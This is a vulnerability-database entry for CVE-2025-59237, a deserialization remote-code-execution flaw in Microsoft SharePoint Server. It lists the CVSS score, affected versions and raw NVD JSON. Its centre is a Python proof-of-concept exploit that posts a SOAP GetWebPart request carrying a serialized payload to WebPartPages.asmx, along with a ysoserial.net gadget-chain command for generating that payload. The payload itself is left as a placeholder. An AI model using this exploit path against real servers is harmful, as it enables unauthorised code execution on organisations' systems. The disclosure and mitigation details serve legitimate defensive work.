Security Vulnerability Report
中文
CVE-2025-59237 CVSS 8.8 HIGH

CVE-2025-59237

Published: 2025-10-14 17:16:06
Last Modified: 2025-10-28 20:18:57

Description

Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:sharepoint_server:*:*:*:*:subscription:*:*:* - VULNERABLE
cpe:2.3:a:microsoft:sharepoint_server:2016:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:microsoft:sharepoint_server:2019:*:*:*:*:*:*:* - VULNERABLE
Microsoft SharePoint Server 2016(受影响,需检查具体补丁级别)
Microsoft SharePoint Server 2019(受影响,需检查具体补丁级别)
Microsoft SharePoint Server Subscription Edition(受影响,需检查具体补丁级别)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59237 - Microsoft SharePoint Deserialization RCE PoC # Vulnerability: Deserialization of Untrusted Data in SharePoint # CVSS: 8.8 (HIGH) import requests from requests_ntlm2 import HttpNtlmAuth import sys # Target SharePoint server configuration TARGET_URL = "http://target-sharepoint-server" USERNAME = "domain\\user" PASSWORD = "password" # Step 1: Generate malicious serialized payload using ysoserial.net # Command: ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "cmd /c calc.exe" -o raw # This generates a payload that triggers code execution during deserialization def generate_payload(command): """ Generate a malicious .NET deserialization payload. In a real attack scenario, use ysoserial.net to generate the payload: ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "<command>" """ # Placeholder for the generated binary payload # Replace with actual ysoserial.net generated payload payload_hex = """ Place your ysoserial.net generated payload here. Example gadget chains: TypeConfuseDelegate, ObjectDataProvider, WindowsClaimsIdentity """ return payload_hex.encode() def exploit_sharepoint_deserialization(target_url, username, password, command): """ Exploit CVE-2025-59237: SharePoint Deserialization RCE """ session = requests.Session() session.auth = HttpNtlmAuth(username, password) # Step 2: Craft the malicious request to SharePoint endpoint # SharePoint processes serialized data in various endpoints including: # - /_vti_bin/WebPartPages.asmx (GetWebPart) # - /_layouts/15/zoombldr.aspx # - Custom web part endpoints endpoint = f"{target_url}/_vti_bin/WebPartPages.asmx" # Step 3: Build SOAP request with malicious serialized payload soap_envelope = f"""<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <soap:Body> <GetWebPart xmlns="http://microsoft.com/sharepoint/webpartpages"> <pageUrl>http://target</pageUrl> <storageKey>{generate_payload(command).decode(errors='ignore')}</storageKey> </GetWebPart> </soap:Body> </soap:Envelope>""" headers = { "Content-Type": "text/xml; charset=utf-8", "SOAPAction": "http://microsoft.com/sharepoint/webpartpages/GetWebPart" } # Step 4: Send the malicious request try: response = session.post(endpoint, data=soap_envelope, headers=headers) if response.status_code == 200: print("[+] Payload sent successfully!") print(f"[+] Response: {response.text[:500]}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": cmd = "whoami" # Command to execute on the target exploit_sharepoint_deserialization(TARGET_URL, USERNAME, PASSWORD, cmd) # Mitigation: Apply Microsoft October 2025 security update for SharePoint # Reference: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59237

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59237", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:16:05.610", "lastModified": "2025-10-28T20:18:56.880", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:*:*:*:*:subscription:*:*:*", "versionEndExcluding": "16.0.19127.20262", "matchCriteriaId": "BA265D82-C463-40AC-B14E-2DA1698A75E1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:2016:*:*:*:enterprise:*:*:*", "matchCriteriaId": "F815EF1D-7B60-47BE-9AC2-2548F99F10E4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:2019:*:*:*:*:*:*:*", "matchCriteriaId": "6122D014-5BF1-4AF4-8B4D-80205ED7785E"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59237", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}